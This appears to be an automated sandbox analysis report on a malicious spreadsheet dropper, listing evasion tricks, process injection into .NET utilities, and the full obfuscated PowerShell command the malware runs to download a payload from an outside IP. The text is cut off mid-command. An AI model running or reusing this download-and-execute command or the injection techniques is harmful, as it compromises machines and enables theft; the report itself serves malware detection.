Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: Quotation.xls Stream path 'MBD00034653/Package' entropy: 7.97239388977 (max. 8.0)
Source: Quotation.xls Stream path 'Workbook' entropy: 7.99932524718 (max. 8.0)
Source: ~DF91B6A489623540E3.TMP.0.dr Stream path 'Package' entropy: 7.96792988005 (max. 8.0)
Source: 37330000.0.dr Stream path 'MBD00034653/Package' entropy: 7.96792988005 (max. 8.0)
Source: 37330000.0.dr Stream path 'Workbook' entropy: 7.99939991039 (max. 8.0)

Malware Analysis System Evasion
barindex
Delayed program exit found
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0040F7A7 Sleep,ExitProcess, 25_2_0040F7A7
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: E0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 70000 memory reserve | memory write watch Jump to behavior
Contains functionality to enumerate running services
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle, 25_2_0041A748
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3077 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6875 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Window / User API: threadDelayed 9838 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2777
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1339
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.dll Jump to dropped file
Found large amount of non-executed APIs
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe API coverage: 7.2 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\mshta.exe TID: 3316 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3440 Thread sleep count: 3077 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3440 Thread sleep count: 6875 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3488 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3496 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3720 Thread sleep count: 149 > 30 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3720 Thread sleep time: -447000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3768 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3720 Thread sleep count: 9838 > 30 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3720 Thread sleep time: -29514000s >= -30000s Jump to behavior
Source: C:\Windows\System32\mshta.exe TID: 3848 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3968 Thread sleep count: 2777 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3972 Thread sleep count: 1339 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4008 Thread sleep time: -180000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4012 Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose, 25_2_00409253
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose, 25_2_0041C291
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose, 25_2_0040C34D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose, 25_2_00409665
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0044E879 FindFirstFileExA, 25_2_0044E879
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose, 25_2_0040880C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0040783C FindFirstFileW,FindNextFileW, 25_2_0040783C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW, 25_2_00419AF5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose, 25_2_0040BB30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose, 25_2_0040BD37
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW, 25_2_00407C97
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FDE26B0 GetSystemInfo,GetNumaHighestNodeNumber,GetCurrentProcess,GetProcessGroupAffinity,GetLastError,GetCurrentProcess,GetProcessAffinityMask, 11_2_000000013FDE26B0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: winiti.exe, 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe, 0000000B.00000000.447217263.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe, 0000000B.00000002.451807346.0000000143000000.00000004.00001000.00020000.00000000.sdmp, winiti.exe, 00000016.00000002.484524464.0000000142800000.00000004.00001000.00020000.00000000.sdmp, winiti.exe, 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe, 00000016.00000000.481803220.000000013F78B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe.7.dr, csrss[1].exe.7.dr Binary or memory string: qEMutating a value collection derived from a dictionary is not allowed.Y
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 25_2_004349F9
Contains functionality to dynamically determine API calls
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress, 25_2_0041CB50
Contains functionality to read the PEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_004432B5 mov eax, dword ptr fs:[00000030h] 25_2_004432B5
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00412077 GetProcessHeap,HeapFree, 25_2_00412077
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FDD5760 RtlAddVectoredExceptionHandler, 11_2_000000013FDD5760
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FE39A88 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 11_2_000000013FE39A88
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F5F5760 RtlAddVectoredExceptionHandler, 22_2_000000013F5F5760
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F659A88 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 22_2_000000013F659A88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00434B47 SetUnhandledExceptionFilter, 25_2_00434B47
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 25_2_004349F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0043BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 25_2_0043BB22
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00434FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 25_2_00434FDC

HIPS / PFW / Operating System Protection Evasion
barindex
Allocates memory in foreign processes
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 protect: page execute and read and write Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A Jump to behavior
Writes to foreign memory regions
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 401000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 459000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 471000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 477000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 478000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 479000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 47E000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 7EFDE008 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 459000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 471000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 477000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 478000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 479000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 47E000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 401000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 459000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 471000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 477000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 478000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 479000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 47E000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 7EFDE008 Jump to behavior
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe 25_2_004120F7
Contains functionality to simulate mouse events
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00419627 mouse_event, 25_2_00419627
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2N